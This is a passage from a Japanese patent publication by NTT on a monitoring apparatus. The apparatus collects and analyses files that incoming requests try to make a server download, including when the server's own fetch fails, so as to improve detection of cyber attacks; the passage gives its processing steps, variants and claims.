また、上述した例では、サーバ送受信アクセス監視部621が、リクエストをサーバ端末部61に送信して、サーバ端末部61からエラーメッセージを受信したか否かにより、ファイル取得が失敗したか否かを判定する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、サーバ送受信アクセス監視部621が、リクエストを受信した場合に、サーバ端末部61によるファイルの取得が失敗するか否かを判定する場合であってもよい。
【0064】
かかる場合には、例えば、サーバ送受信アクセス監視部621にサーバ端末部61上のパス構造のデータを予め保有させておく。そして、サーバ送受信アクセス監視部621が、リクエストを受信した場合に、宛先URLのパスと保有しているパス構造のデータとを比較する。ここで、サーバ送受信アクセス監視部621は、リクエストの宛先URLに記述されたパスがサーバ端末部61上に存在していない場合に、サーバ端末部61によるファイルの取得が失敗すると判定する。この場合には、サーバ送受信アクセス監視部621は、サーバ端末部61にリクエストを送信することなく、リクエストのコピーを転送先特定部622に送信する。このように、開示の技術は、サーバ端末によるファイル取得の失敗を事前に検知する方法も適用可能である。
【0065】
[実施例1に係るファイル収集監視装置による処理の手順]
次に実施例1に係るファイル収集監視装置6による処理の手順を説明する。
【0066】
[実施例1に係るファイル収集監視装置によるリクエスト解析処理の手順]
図9は、実施例1に係るファイル収集監視装置6によるリクエスト解析処理の手順を示すシーケンス図である。図9に示すように、実施例1に係るファイル収集監視装置6においては、ネットワークからリクエストを受信すると(ステップS101)、サーバ送受信アクセス監視部621は、サーバ端末部61にリクエストを送信する(ステップS102)。
【0067】
そして、サーバ送受信アクセス監視部621は、サーバ端末部61からレスポンスを受信すると(ステップS103)、ネットワークにレスポンスを送信し(ステップS104)、レスポンスがエラーメッセージか否かを判定する(ステップS105)。ここで、レスポンスがエラーメッセージであった場合には(ステップS105肯定)、サーバ送受信アクセス監視部621は、リクエストのコピーを転送先特定部622に送信する(ステップS106)。
【0068】
転送先特定部622は、リクエストのコピーを受信すると、転送先を特定し(ステップS107)、リクエストのコピーを送信する(ステップS108)。文字列解析環境631、動作環境632又は動作環境633は、リクエストのコピーを受信すると、文字列又はファイル取得要求を抽出する(ステップS109)。なお、ステップ105の判定においてレスポンスがエラーメッセージではなかった場合には(ステップS205肯定)、ファイル収集監視装置6は、リクエストの解析処理を実行しない。
【0069】
[実施例1に係るファイル収集監視装置によるファイル取得要求送信処理の手順]
図10は、実施例1に係るファイル収集監視装置6によるファイル取得要求送信処理の手順を示すシーケンス図である。図10に示すように、実施例1に係るファイル収集監視装置6においては、文字列解析環境631、動作環境632又は動作環境633は、文字列又はファイル取得要求を抽出すると(ステップS109)、抽出した文字列又はファイル取得要求をデータ受信部アクセス監視部623に送信する(ステップS201)。
【0070】
データ受信部アクセス監視部623は、文字列又はファイル取得要求を受信すると、アクセスデータ管理部624に対してURLの判定を要求する(ステップS202)。アクセスデータ管理部624は、データ受信部アクセス監視部623からURLの判定を要求されると、URLを記憶しているか否かを判定し(ステップS203)、判定結果をデータ受信部アクセス監視部623に送信する(ステップS204)。
【0071】
データ受信部アクセス監視部623は、判定結果を受信すると、URLが記憶されていたか否かを判定する(ステップS205)。ここで、URLが記憶されていなかった場合には(ステップS205否定)、データ受信部アクセス監視部623は、文字列を宛先URLとしたファイル取得要求、或いは、動作環境632又は動作環境633から受信したファイル取得要求をネットワークに送信する(ステップS206)。なお、ステップS205の判定においてURLが記憶されていた場合には(ステップS205肯定)、ファイル収集監視装置6は、以後の処理を実行しない。
【0072】
なお、ステップS204におけるURLの判定に用いられるURLのリストは、取得済みのファイルのURL、又は、予め取得を禁止されたファイルのURLのどちらか一方、或いは、その両方である。
【0073】
[実施例1に係るファイル収集監視装置によるファイル解析処理の手順]
図11は、実施例1に係るファイル収集監視装置6によるファイル解析処理の手順を示すシーケンス図である。図11に示すように、実施例1に係るファイル収集監視装置6においては、データ受信部アクセス監視部623は、ネットワークからファイル取得要求に応じたファイルを受信すると(ステップS301)、アクセスデータ管理部624にファイル取得を通知し(ステップS302)、取得したファイルを転送先特定部622に送信する(ステップS304)。
【0074】
アクセスデータ管理部624は、データ受信部アクセス監視部623からファイル取得の通知を受付けると、ファイル取得先のURLを記憶する(ステップS303)。転送先特定部622は、データ受信部アクセス監視部623からファイルを受信すると、転送先を特定し(ステップS305)、特定した転送先にファイルを転送する(ステップS306)。文字列解析環境631、動作環境632又は動作環境633は、ファイルを受信すると、文字列又はファイル取得要求を抽出する(ステップS307)。なお、ネットワークから受信したファイルから抽出したファイル取得要求の送信処理の手順は、図10と同様であることから説明を省略する。
【0075】
[実施例1に係るファイル収集監視装置によるデータの保存処理の手順]
図12は、実施例1に係るファイル収集監視装置6によるデータの保存処理の手順を示すシーケンス図である。図12に示すように、実施例1に係るファイル収集監視装置6においては、サーバ送受信アクセス監視部621は、ネットワークからデータを受信し(ステップS401)、それに対するデータを送信すると(ステップS402)、それら通信の情報を解析データ収集部625に送信する(ステップS403)。
【0076】
そして、データ受信部アクセス監視部623は、ネットワークからデータを受信し(ステップS404)、それに対するデータを送信すると(ステップS405)、それら通信の情報を解析データ収集部625に送信する(ステップS406)。そして、解析データ収集部625は、受信した情報を記憶する(ステップS407)。
【0077】
[実施例1の効果]
上述したように、実施例1によれば、サーバ送受信アクセス監視部621がネットワーク上の任意のファイルをサーバ端末に取得させるリクエストを受信する。さらに、サーバ送受信アクセス監視部621が、リクエストに応じたサーバ端末によるファイル取得発生の有無を判定する。そして、データ受信部63がサーバ送受信アクセス監視部621によってサーバ端末によるファイル取得が発生しないと判定された場合に、リクエストを解析して、ネットワークにおける任意のファイルの位置であるURLを特定する。データ受信部アクセス監視部623がデータ受信部63によって特定されたURLを用いて任意のファイルを取得する要求であるファイル取得要求を生成する。さらに、データ受信部アクセス監視部623が生成したファイル取得要求をネットワークに送出することで、任意のファイルを取得する。従って、実施例1に係るファイル収集監視装置6は、サーバ端末部61がリクエストに対する応答に失敗した場合であっても、当該リクエストに係る通信の情報やレスポンスに係る通信の情報を収集することができ、攻撃対象への攻撃に関する検知精度を向上させることを可能にする。
【0078】
また、実施例1によれば、文字列解析環境631は、リクエストの文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列をURLとして特定する。従って、実施例1に係るファイル収集監視装置6は、種々のリクエストに対応することができ、サイバー攻撃に関わる有力な情報を多数収集することを可能にする。
【0079】
また、実施例1によれば、転送先特定部622は、リクエストに含まれる拡張子を参照して、当該リクエストに応じた動作を実行する動作環境を特定し、特定した動作環境にリクエストに応じた動作を実行させることにより、URLを特定する。従って、実施例1に係るファイル収集監視装置6は、リクエストに対するレスポンスの情報をより正確に収集することを可能にする。
【0080】
また、実施例1によれば、文字列解析環境631は、データ受信部アクセス監視部623によって取得された任意のファイルに含まれる文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列をURLとして特定する。従って、実施例1に係るファイル収集監視装置6は、取得したファイルからさらに情報を収集することができ、リクエストに係る通信の情報やレスポンスに係る通信の情報をより多数収集することを可能にする。
【0081】
また、実施例1によれば、転送先特定部622は、データ受信部アクセス監視部623によって取得された任意のファイルに含まれる文字列の特徴を参照して、当該ファイルに応じた動作を実行する動作環境を特定し、特定した動作環境にファイルに応じた動作を実行させることにより、前記統一資源位置指定子を特定する。従って、実施例1に係るファイル収集監視装置6は、取得したファイルからさらに情報を収集することができ、リクエストに対するレスポンスの情報をより正確により多数収集することを可能にする。
【0082】
また、実施例1によれば、データ受信部アクセス監視部623は、ファイル取得要求をネットワークに送出する前段階で、URLを記憶するアクセスデータ管理部624を参照し、現時点で取得しようとしているファイルのURLが記憶されているか否かを判定し、当該URLがアクセスデータ管理部624に記憶されていないことを条件に、前記ファイル取得要求をネットワークに送出する。従って、実施例1に係るファイル収集監視装置6は、不要なファイル取得要求の発生を抑止することを可能とする。
【実施例2】
【0083】
これまでいくつかの実施例を説明したが、本願が開示する技術はこれらの実施例に限定されるものではない。すなわち、これらの実施例は、その他の様々な形態で実施されることが可能であり、種々の省略、置き換え、変更を行うことができる。
【0084】
(1)デコード処理
上述した実施例1では、リクエストやファイルなどを直接解析する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、エンコードされたリクエストをデコード処理した後に解析する場合であってもよい。かかる場合には、転送先特定部622又はデータ受信部63における各環境にデコード処理を実行させる機能を備えるようにすればよい。図13は、デコード処理に用いられるテーブルの一例を説明するための図である。
【0085】
例えば、図13に示すように、文字列の特徴とデコード方法とを対応付けたテーブルを、転送先特定部622又はデータ受信部63における各環境に予め保持させる。そして、転送先特定部622又はデータ受信部63における各環境に、リクエストの文字列の特徴に対応するデコード方法でリクエストをデコードさせるようにする。例を挙げると、単純に動作させることができず、かつ、一定の文字数以上であるリクエストに対しては、転送先特定部622又はデータ受信部63における各環境にBASE64でデコード処理を実行させるようにする。従って、ファイル収集監視装置6は、エンコードされたリクエストに対しても解析を実行することができ、より幅広いデータを対象に解析することで、より多数の情報を収集することを可能にする。
【0086】
(2)ネットワークモデル
上述した実施例1では、ネットワーク1にファイル収集監視装置6と、ネットワーク2と、ネットワーク3とが収容されたネットワークモデルを用いる場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、種々の形態のネットワークモデルに適用することが可能である。以下では、実施例1とは異なるネットワークモデルについて説明する。
【0087】
図14は、実施例1とは異なるネットワークモデル1を説明するための図である。図14に示すように、ネットワーク1は、ネットワーク2と、ネットワーク3と、ネットワーク4とを収容する。ネットワーク2及びネットワーク3には、それぞれユーザ端末21とサーバ端末31とが収容される。ネットワーク4には、サーバ端末41と、サーバ端末42と、データ受信部63とが収容される。そして、図14に示すように、ネットワーク2及びネットワーク3からサーバ端末41及びサーバ端末42に対するアクセスはデータ転送部62を経由するようにトポロジを構成する。
【0088】
すなわち、データ転送部62は、ユーザ端末21からサーバ端末41又はサーバ端末42へのリクエストや、サーバ端末41又はサーバ端末42からのレスポンスをもれなく監視することができ、リクエスト及びレスポンスに係る各種情報を収集することができる。
【0089】
なお、ネットワーク2は、仮想ネットワークとして1台又は複数の物理サーバ上に実装することが可能である。かかる場合には、データ転送部62やサーバ端末41及びサーバ端末42は、VMWareやXenなどの仮想化技術で構築された仮想端末上に構築することができる。
【0090】
図15は、実施例1とは異なるネットワークモデル2を説明するための図である。図14に示すように、ネットワーク1は、ネットワーク2と、ネットワーク3と、ネットワーク4とを収容する。ネットワーク2及びネットワーク3には、それぞれユーザ端末21とサーバ端末31とが収容される。ネットワーク4には、サーバ端末41が収容される。そして、図15に示すように、ネットワーク2及びネットワーク3からサーバ端末41に対するアクセスはデータ転送処理機能7を経由するようにトポロジを構成する。
【0091】
データ転送処理機能7には、データ転送部62と、データ受信部63とを配置することで、ユーザ端末21からサーバ端末41へのリクエストや、サーバ端末41からのレスポンスをもれなく監視することができ、リクエスト及びレスポンスに係る各種情報を収集することができる。
【0092】
(3)文字列解析環境及び動作環境
上述した実施例1では、データ受信部63に文字列解析環境631及び動作環境632、633を配置する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、文字列解析環境631のみを配置する場合であってもよい。また、動作環境632、633のみを配置する場合であってもよい。なお、文字列解析環境631のみを配置する場合には、データ転送部62における転送先特定部622を取り除くことが可能である。
【0093】
(4)ファイル取得要求の生成
データ受信部アクセス監視部623が文字列解析環境631から受信した文字列を宛先URLとしたファイル取得要求を生成する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、文字列解析環境631が抽出した文字列を宛先URLとしたファイル取得要求を生成する場合であってもよい。
【0094】
(5)システム構成等
例えば、各装置の分散・統合の具体的形態(例えば、図2の形態)は図示のものに限られず、その全部又は一部を、各種の負荷や使用状況などに応じて、任意の単位で機能的又は物理的に分散・統合することができる。一例を挙げると、サーバ送受信アクセス監視部621とデータ受信部アクセス監視部623とを一つのアクセス監視部として統合してもよく、一方、アクセスデータ管理部を、URLが記憶されているか否かを判定する判定部と、判定結果を通知する通知部とに分散してもよい。
【0095】
(6)ファイル収集監視プログラム
上記実施例で説明したファイル収集監視装置6は、あらかじめ用意されたプログラムをコンピュータで実行することで実現することもできる。そこで、以下では、図2に示したファイル収集監視装置6と同様の機能を実現するファイル収集監視プログラムを実行するコンピュータの一例を説明する。
【0096】
図16は、本実施例に係るファイル収集監視プログラムを実行するコンピュータ1000を示す図である。図16に示すように、コンピュータ1000は、例えば、メモリ1010と、CPU(Central Processing Unit)1020と、ハードディスクドライブインタフェース1030と、ディスクドライブインタフェース1040と、シリアルポートインタフェース1050と、ビデオアダプタ1060と、ネットワークインタフェース1070とを有する。これらの各部は、バス1080によって接続される。
【0097】
メモリ1010は、ROM(Read Only Memory)1011およびRAM(Random Access Memory)1012を含む。ROM1010は、例えば、BIOS(Basic Input Output System)等のブートプログラムを記憶する。ハードディスクドライブインタフェース1030は、ハードディスクドライブ1090に接続される。ディスクドライブインタフェース1040は、ディスクドライブ1100に接続される。ディスクドライブ1100には、例えば、磁気ディスクや光ディスク等の着脱可能な記憶媒体が挿入される。シリアルポートインタフェース1050には、例えば、マウス1110およびキーボード1120が接続される。ビデオアダプタ1060には、例えば、ディスプレイ1130が接続される。
【0098】
ここで、図16に示すように、ハードディスクドライブ1090は、例えば、OS(Operating System)1091、アプリケーションプログラム1092、プログラムモジュール1093およびプログラムデータ1094を記憶する。本実施例に係るファイル収集監視プログラムは、例えば、コンピュータ1000によって実行される指令が記述されたプログラムモジュールとして、例えばハードディスクドライブ1090に記憶される。具体的には、上記実施例で説明したサーバ送受信アクセス監視部621と同様の情報処理を実行するサーバ送受信アクセス監視手順と、転送先特定部622と同様の情報処理を実行する転送先特定手順と、データ受信部アクセス監視部623と同様の情報処理を実行するデータ受信部アクセス監視手順と、アクセスデータ管理部624と同様の情報処理を実行するアクセスデータ管理手順と、文字列解析環境631と同様の情報処理を実行する文字列解析環境手順と、動作環境632や動作環境633と同様の情報処理を実行する動作環境手順とが記述されたプログラムモジュールが、ハードディスクドライブ1090に記憶される。
【0099】
また、上記実施例で説明した解析データ収集部625に記憶されるデータのように、ファイル収集監視プログラムによる情報処理に用いられるデータは、プログラムデータとして、例えば、ハードディスクドライブ1090に記憶される。そして、CPU1020が、ハードディスクドライブ1090に記憶されたプログラムモジュールやプログラムデータを必要に応じてRAM1012に読み出して、サーバ送受信アクセス監視手順と、転送先特定手順と、データ受信部アクセス監視手順と、アクセスデータ管理手順と、文字列解析環境手順と、動作環境手順とを実行する。
【0100】
なお、情報送受信プログラムに係るプログラムモジュールやプログラムデータは、ハードディスクドライブ1090に記憶される場合に限られず、例えば、着脱可能な記憶媒体に記憶されて、ディスクドライブ1100等を介してCPU1020によって読み出されてもよい。あるいは、情報送受信プログラムに係るプログラムモジュールやプログラムデータは、LAN(Local Area Network)やWAN(Wide Area Network)等のネットワークを介して接続された他のコンピュータに記憶され、ネットワークインタフェース1070を介してCPU1020によって読み出されてもよい。
【0101】
これらの実施例やその変形は、本願が開示する技術に含まれると同様に、特許請求の範囲に記載された発明とその均等の範囲に含まれるものである。
【符号の説明】
【0102】
1、2、3、4 ネットワーク
6 ファイル収集監視装置
7 データ転送処理機能
61 サーバ端末部
62 データ転送部
63 データ受信部
621 サーバ送受信アクセス監視部
622 転送先特定部
623 データ受信部アクセス監視部
624 アクセスデータ管理部
625 解析データ収集部
631 文字列解析環境
632、633 動作環境
【特許請求の範囲】
【請求項1】
サーバ端末の通信を監視するコンピュータによるファイル収集監視方法であって、
前記コンピュータが、
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信ステップと、
前記受信ステップによって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定ステップと、
前記判定ステップによって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定ステップと、
前記特定ステップによって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成ステップと、
前記生成ステップによって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得ステップと、
を含んだことを特徴とするファイル収集監視方法。
【請求項2】
前記特定ステップは、前記動作実行要求の文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列を前記統一資源位置指定子として特定することを特徴とする請求項1に記載のファイル収集監視方法。
【請求項3】
前記動作実行要求に応じた動作を実行する実行ステップをさらに含み、
前記特定ステップは、前記動作実行要求に含まれる文字列の特徴を参照して、当該動作実行要求に応じた動作を実行する実行ステップを特定し、特定した実行ステップに前記動作実行要求に応じた動作を実行させることにより、前記統一資源位置指定子を特定することを特徴とする請求項1に記載のファイル収集監視方法。
【請求項4】
前記特定ステップは、前記取得ステップによって取得された前記任意のファイルに含まれる文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列を前記統一資源位置指定子として特定することを特徴とする請求項1〜3のいずれか1つに記載のファイル収集監視方法。
【請求項5】
前記特定ステップは、前記取得ステップによって取得された前記任意のファイルに含まれる文字列の特徴を参照して、当該任意のファイルに応じた動作を実行する実行ステップを特定し、特定した実行ステップに前記任意のファイルに応じた動作を実行させることにより、前記統一資源位置指定子を特定することを特徴とする請求項3に記載のファイル収集監視方法。
【請求項6】
前記取得ステップは、前記ファイル取得要求をネットワークに送出する前段階で、統一資源位置指定子を記憶する記憶部を参照し、現時点で取得しようとしているファイルの統一資源位置指定子が記憶されているか否かを判定し、当該統一資源位置指定子が前記記憶部に記憶されていないことを条件に、前記ファイル取得要求をネットワークに送出することを特徴とする請求項1に記載のファイル収集監視方法。
【請求項7】
前記特定ステップは、前記動作実行要求が符号化されていた場合には、当該動作実行要求を復号化させ、復号化させた動作実行要求の文字列を解析して、前記任意のファイルの統一資源位置指定子を特定することを特徴とする請求項1〜6のいずれか1つに記載のファイル収集監視方法。
【請求項8】
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信部と、
前記受信部によって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定部と、
前記判定部によって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定部と、
前記特定部によって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成部と、
前記生成部によって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得部と、
を有することを特徴とするファイル収集監視装置。
【請求項9】
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信手順と、
前記受信手順によって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定手順と、
前記判定手順によって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定手順と、
前記特定手順によって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成手順と、
前記生成手順によって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得手順と、
をコンピュータに実行させることを特徴とするファイル収集監視プログラム。
【請求項1】
サーバ端末の通信を監視するコンピュータによるファイル収集監視方法であって、
前記コンピュータが、
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信ステップと、
前記受信ステップによって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定ステップと、
前記判定ステップによって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定ステップと、
前記特定ステップによって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成ステップと、
前記生成ステップによって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得ステップと、
を含んだことを特徴とするファイル収集監視方法。
【請求項2】
前記特定ステップは、前記動作実行要求の文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列を前記統一資源位置指定子として特定することを特徴とする請求項1に記載のファイル収集監視方法。
【請求項3】
前記動作実行要求に応じた動作を実行する実行ステップをさらに含み、
前記特定ステップは、前記動作実行要求に含まれる文字列の特徴を参照して、当該動作実行要求に応じた動作を実行する実行ステップを特定し、特定した実行ステップに前記動作実行要求に応じた動作を実行させることにより、前記統一資源位置指定子を特定することを特徴とする請求項1に記載のファイル収集監視方法。
【請求項4】
前記特定ステップは、前記取得ステップによって取得された前記任意のファイルに含まれる文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列を前記統一資源位置指定子として特定することを特徴とする請求項1〜3のいずれか1つに記載のファイル収集監視方法。
【請求項5】
前記特定ステップは、前記取得ステップによって取得された前記任意のファイルに含まれる文字列の特徴を参照して、当該任意のファイルに応じた動作を実行する実行ステップを特定し、特定した実行ステップに前記任意のファイルに応じた動作を実行させることにより、前記統一資源位置指定子を特定することを特徴とする請求項3に記載のファイル収集監視方法。
【請求項6】
前記取得ステップは、前記ファイル取得要求をネットワークに送出する前段階で、統一資源位置指定子を記憶する記憶部を参照し、現時点で取得しようとしているファイルの統一資源位置指定子が記憶されているか否かを判定し、当該統一資源位置指定子が前記記憶部に記憶されていないことを条件に、前記ファイル取得要求をネットワークに送出することを特徴とする請求項1に記載のファイル収集監視方法。
【請求項7】
前記特定ステップは、前記動作実行要求が符号化されていた場合には、当該動作実行要求を復号化させ、復号化させた動作実行要求の文字列を解析して、前記任意のファイルの統一資源位置指定子を特定することを特徴とする請求項1〜6のいずれか1つに記載のファイル収集監視方法。
【請求項8】
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信部と、
前記受信部によって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定部と、
前記判定部によって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定部と、
前記特定部によって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成部と、
前記生成部によって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得部と、
を有することを特徴とするファイル収集監視装置。
【請求項9】
ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する受信手順と、
前記受信手順によって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する判定手順と、
前記判定手順によって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する特定手順と、
前記特定手順によって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する生成手順と、
前記生成手順によって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する取得手順と、
をコンピュータに実行させることを特徴とするファイル収集監視プログラム。
【図1】
【図2】
【図3】
【図4】
【図5】
【図6】
【図7】
【図8】
【図9】
【図10】
【図11】
【図12】
【図13】
【図14】
【図15】
【図16】
【図2】
【図3】
【図4】
【図5】
【図6】
【図7】
【図8】
【図9】
【図10】
【図11】
【図12】
【図13】
【図14】
【図15】
【図16】
【公開番号】特開2012−83799(P2012−83799A)
【公開日】平成24年4月26日(2012.4.26)
【国際特許分類】
【出願番号】特願2010−226815(P2010−226815)
【出願日】平成22年10月6日(2010.10.6)
【出願人】(000004226)日本電信電話株式会社 (13,992)
【Fターム(参考)】
【公開日】平成24年4月26日(2012.4.26)
【国際特許分類】
【出願日】平成22年10月6日(2010.10.6)
【出願人】(000004226)日本電信電話株式会社 (13,992)
【Fターム(参考)】
[ Back to top ]